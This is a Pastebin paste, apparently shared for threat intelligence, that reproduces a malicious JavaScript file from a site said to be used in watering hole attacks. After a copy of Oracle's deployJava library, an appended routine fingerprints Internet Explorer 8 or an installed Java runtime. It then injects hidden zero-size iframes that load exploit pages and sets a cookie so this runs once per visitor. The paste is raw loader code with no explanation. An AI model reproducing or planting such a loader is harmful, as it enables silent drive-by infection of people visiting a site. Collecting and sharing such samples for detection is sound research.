Advertisement
eromang

3dvideo.ru used in watering hole attacks

Mar 20th, 2013
373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # http://www.3dvideo.ru/new/dvd/m/m.js
  2. var deployJava=function(){var hattrs={core:['id','class','title','style'],i18n:['lang','dir'],events:['onclick','ondblclick','onmousedown','onmouseup','onmouseover','onmousemove','onmouseout','onkeypress','onkeydown','onkeyup'],applet:['codebase','code','name','archive','object','width','height','alt','align','hspace','vspace'],object:['classid','codebase','codetype','data','type','archive','declare','standby','height','width','usemap','name','tabindex','align','border','hspace','vspace']};var object_valid_attrs=hattrs.object.concat(hattrs.core,hattrs.i18n,hattrs.events);var applet_valid_attrs=hattrs.applet.concat(hattrs.core);function arHas(ar,attr){var len=ar.length;for(var i=0;i<len;i++){if(ar[i]===attr)return true;}
  3. return false;}
  4. function isValidAppletAttr(attr){return arHas(applet_valid_attrs,attr.toLowerCase());}
  5. function isValidObjectAttr(attr){return arHas(object_valid_attrs,attr.toLowerCase());}
  6. var rv={debug:null,firefoxJavaVersion:null,myInterval:null,preInstallJREList:null,returnPage:null,brand:null,locale:null,installType:null,EAInstallEnabled:false,EarlyAccessURL:null,getJavaURL:'http://java.sun.com/webapps/getjava/BrowserRedirect?host=java.com',appleRedirectPage:'http://www.apple.com/support/downloads/',oldMimeType:'application/npruntime-scriptable-plugin;DeploymentToolkit',mimeType:'application/java-deployment-toolkit',launchButtonPNG:'http://java.sun.com/products/jfc/tsc/articles/swing2d/webstart.png',browserName:null,browserName2:null,getJREs:function(){var list=new Array();if(this.isPluginInstalled()){var plugin=this.getPlugin();var VMs=plugin.jvms;for(var i=0;i<VMs.getLength();i++){list[i]=VMs.get(i).version;}}else{var browser=this.getBrowser();if(browser=='MSIE'){if(this.testUsingActiveX('1.7.0')){list[0]='1.7.0';}else if(this.testUsingActiveX('1.6.0')){list[0]='1.6.0';}else if(this.testUsingActiveX('1.5.0')){list[0]='1.5.0';}else if(this.testUsingActiveX('1.4.2')){list[0]='1.4.2';}else if(this.testForMSVM()){list[0]='1.1';}}else if(browser=='Netscape Family'){this.getJPIVersionUsingMimeType();if(this.firefoxJavaVersion!=null){list[0]=this.firefoxJavaVersion;}else if(this.testUsingMimeTypes('1.7')){list[0]='1.7.0';}else if(this.testUsingMimeTypes('1.6')){list[0]='1.6.0';}else if(this.testUsingMimeTypes('1.5')){list[0]='1.5.0';}else if(this.testUsingMimeTypes('1.4.2')){list[0]='1.4.2';}else if(this.browserName2=='Safari'){if(this.testUsingPluginsArray('1.7.0')){list[0]='1.7.0';}else if(this.testUsingPluginsArray('1.6')){list[0]='1.6.0';}else if(this.testUsingPluginsArray('1.5')){list[0]='1.5.0';}else if(this.testUsingPluginsArray('1.4.2')){list[0]='1.4.2';}}}}
  7. if(this.debug){for(var i=0;i<list.length;++i){alert('We claim to have detected Java SE '+list[i]);}}
  8. return list;},installJRE:function(requestVersion,installCallback){var ret=false;if(this.isPluginInstalled()){if(this.getPlugin().installJRE(requestVersion,installCallback)){this.refresh();if(this.returnPage!=null){document.location=this.returnPage;}
  9. return true;}else{return false;}}else{return this.installLatestJRE();}},installLatestJRE:function(installCallback){if(this.isPluginInstalled()){if(this.getPlugin().installLatestJRE(installCallback)){this.refresh();if(this.returnPage!=null){document.location=this.returnPage;}
  10. return true;}else{return false;}}else{var browser=this.getBrowser();var platform=navigator.platform.toLowerCase();if((this.EAInstallEnabled=='true')&&(platform.indexOf('win')!=-1)&&(this.EarlyAccessURL!=null)){this.preInstallJREList=this.getJREs();if(this.returnPage!=null){this.myInterval=setInterval("deployJava.poll()",3000);}
  11. location.href=this.EarlyAccessURL;return false;}else{if(browser=='MSIE'){return this.IEInstall();}else if((browser=='Netscape Family')&&(platform.indexOf('win32')!=-1)){return this.FFInstall();}else{location.href=this.getJavaURL+
  12. ((this.returnPage!=null)?('&returnPage='+this.returnPage):'')+
  13. ((this.locale!=null)?('&locale='+this.locale):'')+
  14. ((this.brand!=null)?('&brand='+this.brand):'');}
  15. return false;}}},runApplet:function(attributes,parameters,minimumVersion){if(minimumVersion=='undefined'||minimumVersion==null){minimumVersion='1.1';}
  16. var regex="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var matchData=minimumVersion.match(regex);if(this.returnPage==null){this.returnPage=document.location;}
  17. if(matchData!=null){var browser=this.getBrowser();if((browser!='?')&&('Safari'!=this.browserName2)){if(this.versionCheck(minimumVersion+'+')){this.writeAppletTag(attributes,parameters);}else if(this.installJRE(minimumVersion+'+')){this.refresh();location.href=document.location;this.writeAppletTag(attributes,parameters);}}else{this.writeAppletTag(attributes,parameters);}}else{if(this.debug){alert('Invalid minimumVersion argument to runApplet():'+
  18. minimumVersion);}}},writeAppletTag:function(attributes,parameters){var startApplet='<'+'applet ';var params='';var endApplet='<'+'/'+'applet'+'>';var addCodeAttribute=true;if(null==parameters||typeof parameters!='object'){parameters=new Object();}
  19. for(var attribute in attributes){if(!isValidAppletAttr(attribute)){parameters[attribute]=attributes[attribute];}else{startApplet+=(' '+attribute+'="'+attributes[attribute]+'"');if(attribute=='code'){addCodeAttribute=false;}}}
  20. var codebaseParam=false;for(var parameter in parameters){if(parameter=='codebase_lookup'){codebaseParam=true;}
  21. if(parameter=='object'||parameter=='java_object'||parameter=='java_code'){addCodeAttribute=false;}
  22. params+='<param name="'+parameter+'" value="'+
  23. parameters[parameter]+'"/>';}
  24. if(!codebaseParam){params+='<param name="codebase_lookup" value="false"/>';}
  25. if(addCodeAttribute){startApplet+=(' code="dummy"');}
  26. startApplet+='>';document.write(startApplet+'\n'+params+'\n'+endApplet);},versionCheck:function(versionPattern)
  27. {var index=0;var regex="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";var matchData=versionPattern.match(regex);if(matchData!=null){var familyMatch=true;var patternArray=new Array();for(var i=1;i<matchData.length;++i){if((typeof matchData[i]=='string')&&(matchData[i]!='')){patternArray[index]=matchData[i];index++;}}
  28. if(patternArray[patternArray.length-1]=='+'){familyMatch=false;patternArray.length--;}else{if(patternArray[patternArray.length-1]=='*'){patternArray.length--;}}
  29. var list=this.getJREs();for(var i=0;i<list.length;++i){if(this.compareVersionToPattern(list[i],patternArray,familyMatch)){return true;}}
  30. return false;}else{alert('Invalid versionPattern passed to versionCheck: '+
  31. versionPattern);return false;}},isWebStartInstalled:function(minimumVersion){var browser=this.getBrowser();if((browser=='?')||('Safari'==this.browserName2)){return true;}
  32. if(minimumVersion=='undefined'||minimumVersion==null){minimumVersion='1.4.2';}
  33. var retval=false;var regex="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var matchData=minimumVersion.match(regex);if(matchData!=null){retval=this.versionCheck(minimumVersion+'+');}else{if(this.debug){alert('Invalid minimumVersion argument to isWebStartInstalled(): '+minimumVersion);}
  34. retval=this.versionCheck('1.4.2+');}
  35. return retval;},getJPIVersionUsingMimeType:function(){for(var i=0;i<navigator.mimeTypes.length;++i){var s=navigator.mimeTypes[i].type;var m=s.match(/^application\/x-java-applet;jpi-version=(.*)$/);if(m!=null){this.firefoxJavaVersion=m[1];if('Opera'!=this.browserName2){break;}}}},launchWebStartApplication:function(jnlp){var uaString=navigator.userAgent.toLowerCase();this.getJPIVersionUsingMimeType();if(this.isWebStartInstalled('1.7.0')==false){if((this.installJRE('1.7.0+')==false)||((this.isWebStartInstalled('1.7.0')==false))){return false;}}
  36. var jnlpDocbase=null;if(document.documentURI){jnlpDocbase=document.documentURI;}
  37. if(jnlpDocbase==null){jnlpDocbase=document.URL;}
  38. var browser=this.getBrowser();var launchTag;if(browser=='MSIE'){launchTag='<'+'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" '+'width="0" height="0">'+'<'+'PARAM name="launchjnlp" value="'+jnlp+'"'+'>'+'<'+'PARAM name="docbase" value="'+jnlpDocbase+'"'+'>'+'<'+'/'+'object'+'>';}else if(browser=='Netscape Family'){launchTag='<'+'embed type="application/x-java-applet;jpi-version='+
  39. this.firefoxJavaVersion+'" '+'width="0" height="0" '+'launchjnlp="'+jnlp+'"'+'docbase="'+jnlpDocbase+'"'+' />';}
  40. if(document.body=='undefined'||document.body==null){document.write(launchTag);document.location=jnlpDocbase;}else{var divTag=document.createElement("div");divTag.id="div1";divTag.style.position="relative";divTag.style.left="-10000px";divTag.style.margin="0px auto";divTag.className="dynamicDiv";divTag.innerHTML=launchTag;document.body.appendChild(divTag);}},createWebStartLaunchButtonEx:function(jnlp,minimumVersion){if(this.returnPage==null){this.returnPage=jnlp;}
  41. var url='javascript:deployJava.launchWebStartApplication(\''+jnlp+'\');';document.write('<'+'a href="'+url+'" onMouseOver="window.status=\'\'; '+'return true;"><'+'img '+'src="'+this.launchButtonPNG+'" '+'border="0" /><'+'/'+'a'+'>');},createWebStartLaunchButton:function(jnlp,minimumVersion){if(this.returnPage==null){this.returnPage=jnlp;}
  42. var url='javascript:'+'if (!deployJava.isWebStartInstalled(&quot;'+
  43. minimumVersion+'&quot;)) {'+'if (deployJava.installLatestJRE()) {'+'if (deployJava.launch(&quot;'+jnlp+'&quot;)) {}'+'}'+'} else {'+'if (deployJava.launch(&quot;'+jnlp+'&quot;)) {}'+'}';document.write('<'+'a href="'+url+'" onMouseOver="window.status=\'\'; '+'return true;"><'+'img '+'src="'+this.launchButtonPNG+'" '+'border="0" /><'+'/'+'a'+'>');},launch:function(jnlp){document.location=jnlp;return true;},isPluginInstalled:function(){var plugin=this.getPlugin();if(plugin&&plugin.jvms){return true;}else{return false;}},isAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return this.getPlugin().isAutoUpdateEnabled();}
  44. return false;},setAutoUpdateEnabled:function(){if(this.isPluginInstalled()){return this.getPlugin().setAutoUpdateEnabled();}
  45. return false;},setInstallerType:function(type){this.installType=type;if(this.isPluginInstalled()){return this.getPlugin().setInstallerType(type);}
  46. return false;},setAdditionalPackages:function(packageList){if(this.isPluginInstalled()){return this.getPlugin().setAdditionalPackages(packageList);}
  47. return false;},setEarlyAccess:function(enabled){this.EAInstallEnabled=enabled;},isPlugin2:function(){if(this.isPluginInstalled()){if(this.versionCheck('1.6.0_10+')){try{return this.getPlugin().isPlugin2();}catch(err){}}}
  48. return false;},allowPlugin:function(){this.getBrowser();var ret=('Safari'!=this.browserName2&&'Opera'!=this.browserName2);return ret;},getPlugin:function(){this.refresh();var ret=null;if(this.allowPlugin()){ret=document.getElementById('deployJavaPlugin');}
  49. return ret;},compareVersionToPattern:function(version,patternArray,familyMatch){var regex="^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";var matchData=version.match(regex);if(matchData!=null){var index=0;var result=new Array();for(var i=1;i<matchData.length;++i){if((typeof matchData[i]=='string')&&(matchData[i]!=''))
  50. {result[index]=matchData[i];index++;}}
  51. var l=Math.min(result.length,patternArray.length);if(familyMatch){for(var i=0;i<l;++i){if(result[i]!=patternArray[i])return false;}
  52. return true;}else{for(var i=0;i<l;++i){if(result[i]<patternArray[i]){return false;}else if(result[i]>patternArray[i]){return true;}}
  53. return true;}}else{return false;}},getBrowser:function(){if(this.browserName==null){var browser=navigator.userAgent.toLowerCase();if(this.debug){alert('userAgent -> '+browser);}
  54. if(browser.indexOf('msie')!=-1){this.browserName='MSIE';this.browserName2='MSIE';}else if(browser.indexOf('iphone')!=-1){this.browserName='Netscape Family';this.browserName2='iPhone';}else if(browser.indexOf('firefox')!=-1){this.browserName='Netscape Family';this.browserName2='Firefox';}else if(browser.indexOf('chrome')!=-1){this.browserName='Netscape Family';this.browserName2='Chrome';}else if(browser.indexOf('safari')!=-1){this.browserName='Netscape Family';this.browserName2='Safari';}else if(browser.indexOf('mozilla')!=-1){this.browserName='Netscape Family';this.browserName2='Other';}else if(browser.indexOf('opera')!=-1){this.browserName='Netscape Family';this.browserName2='Opera';}else{this.browserName='?';this.browserName2='unknown';}
  55. if(this.debug){alert('Detected browser name:'+this.browserName+', '+this.browserName2);}}
  56. return this.browserName;},testUsingActiveX:function(version){var objectName='JavaWebStart.isInstalled.'+version+'.0';if(!ActiveXObject){if(this.debug){alert('Browser claims to be IE, but no ActiveXObject object?');}
  57. return false;}
  58. try{return(new ActiveXObject(objectName)!=null);}catch(exception){return false;}},testForMSVM:function(){var clsid='{08B0E5C0-4FCB-11CF-AAA5-00401C608500}';if(typeof oClientCaps!='undefined'){var v=oClientCaps.getComponentVersion(clsid,"ComponentID");if((v=='')||(v=='5,0,5000,0')){return false;}else{return true;}}else{return false;}},testUsingMimeTypes:function(version){if(!navigator.mimeTypes){if(this.debug){alert('Browser claims to be Netscape family, but no mimeTypes[] array?');}
  59. return false;}
  60. for(var i=0;i<navigator.mimeTypes.length;++i){s=navigator.mimeTypes[i].type;var m=s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/);if(m!=null){if(this.compareVersions(m[1],version)){return true;}}}
  61. return false;},testUsingPluginsArray:function(version){if((!navigator.plugins)||(!navigator.plugins.length)){return false;}
  62. var platform=navigator.platform.toLowerCase();for(var i=0;i<navigator.plugins.length;++i){s=navigator.plugins[i].description;if(s.search(/^Java Switchable Plug-in (Cocoa)/)!=-1){if(this.compareVersions("1.5.0",version)){return true;}}else if(s.search(/^Java/)!=-1){if(platform.indexOf('win')!=-1){if(this.compareVersions("1.5.0",version)||this.compareVersions("1.6.0",version)){return true;}}}}
  63. if(this.compareVersions("1.5.0",version)){return true;}
  64. return false;},IEInstall:function(){location.href=this.getJavaURL+
  65. ((this.returnPage!=null)?('&returnPage='+this.returnPage):'')+
  66. ((this.locale!=null)?('&locale='+this.locale):'')+
  67. ((this.brand!=null)?('&brand='+this.brand):'');return false;},done:function(name,result){},FFInstall:function(){location.href=this.getJavaURL+
  68. ((this.returnPage!=null)?('&returnPage='+this.returnPage):'')+
  69. ((this.locale!=null)?('&locale='+this.locale):'')+
  70. ((this.brand!=null)?('&brand='+this.brand):'')+
  71. ((this.installType!=null)?('&type='+this.installType):'');return false;},compareVersions:function(installed,required){var a=installed.split('.');var b=required.split('.');for(var i=0;i<a.length;++i){a[i]=Number(a[i]);}
  72. for(var i=0;i<b.length;++i){b[i]=Number(b[i]);}
  73. if(a.length==2){a[2]=0;}
  74. if(a[0]>b[0])return true;if(a[0]<b[0])return false;if(a[1]>b[1])return true;if(a[1]<b[1])return false;if(a[2]>b[2])return true;if(a[2]<b[2])return false;return true;},enableAlerts:function(){this.browserName=null;this.debug=true;},poll:function(){this.refresh();var postInstallJREList=this.getJREs();if((this.preInstallJREList.length==0)&&(postInstallJREList.length!=0)){clearInterval(this.myInterval);if(this.returnPage!=null){location.href=this.returnPage;};}
  75. if((this.preInstallJREList.length!=0)&&(postInstallJREList.length!=0)&&(this.preInstallJREList[0]!=postInstallJREList[0])){clearInterval(this.myInterval);if(this.returnPage!=null){location.href=this.returnPage;}}},writePluginTag:function(){var browser=this.getBrowser();if(browser=='MSIE'){document.write('<'+'object classid="clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" '+'id="deployJavaPlugin" width="0" height="0">'+'<'+'/'+'object'+'>');}else if(browser=='Netscape Family'&&this.allowPlugin()){this.writeEmbedTag();}},refresh:function(){navigator.plugins.refresh(false);var browser=this.getBrowser();if(browser=='Netscape Family'&&this.allowPlugin()){var plugin=document.getElementById('deployJavaPlugin');if(plugin==null){this.writeEmbedTag();}}},writeEmbedTag:function(){var written=false;if(navigator.mimeTypes!=null){for(var i=0;i<navigator.mimeTypes.length;i++){if(navigator.mimeTypes[i].type==this.mimeType){if(navigator.mimeTypes[i].enabledPlugin){document.write('<'+'embed id="deployJavaPlugin" type="'+
  76. this.mimeType+'" hidden="true" />');written=true;}}}
  77. if(!written)for(var i=0;i<navigator.mimeTypes.length;i++){if(navigator.mimeTypes[i].type==this.oldMimeType){if(navigator.mimeTypes[i].enabledPlugin){document.write('<'+'embed id="deployJavaPlugin" type="'+
  78. this.oldMimeType+'" hidden="true" />');}}}}}};rv.writePluginTag();if(rv.locale==null){var loc=null;if(loc==null)try{loc=navigator.userLanguage;}catch(err){}
  79. if(loc==null)try{loc=navigator.systemLanguage;}catch(err){}
  80. if(loc==null)try{loc=navigator.language;}catch(err){}
  81. if(loc!=null){loc.replace("-","_")
  82. rv.locale=loc;}}
  83. return rv;}();
  84.  
  85.  
  86. function setCookie(sVar, sVal){
  87. var expires=new Date();
  88. expires.setTime(expires.getTime()+1*24*60*60*1000);
  89. theCookie = sVar + '=' + sVal + '; expires='+expires.toGMTString();
  90. document.cookie = theCookie;}
  91. function getCookie(sVar){cookies = document.cookie.split('; ');for(var i = 1; i <= cookies.length; i++){if(cookies[i - 1].split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}return '';}
  92.  
  93. function doWrite(){
  94.  
  95.     if (navigator.appName == "Microsoft Internet Explorer" && navigator.appVersion.match(/8./i)=="8."){
  96.         document.write('<iframe src=http://www.3dvideo.ru/new/dvd/m/mt.html width=0 height=0></iframe>');
  97.        
  98.      }
  99.      
  100.       else    {
  101.    
  102.         if( parseInt(deployJava.getJREs()) >0 ){
  103.            
  104.             document.write('<iframe src=http://www.3dvideo.ru/new/dvd/m/javamt.html width=0 height=0></iframe>');
  105.          }
  106.          
  107.                
  108.  
  109.        }
  110.  
  111.       }
  112. if(getCookie('myusers') == ''){doWrite();setCookie('myusers', 'Somethingeeee');}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement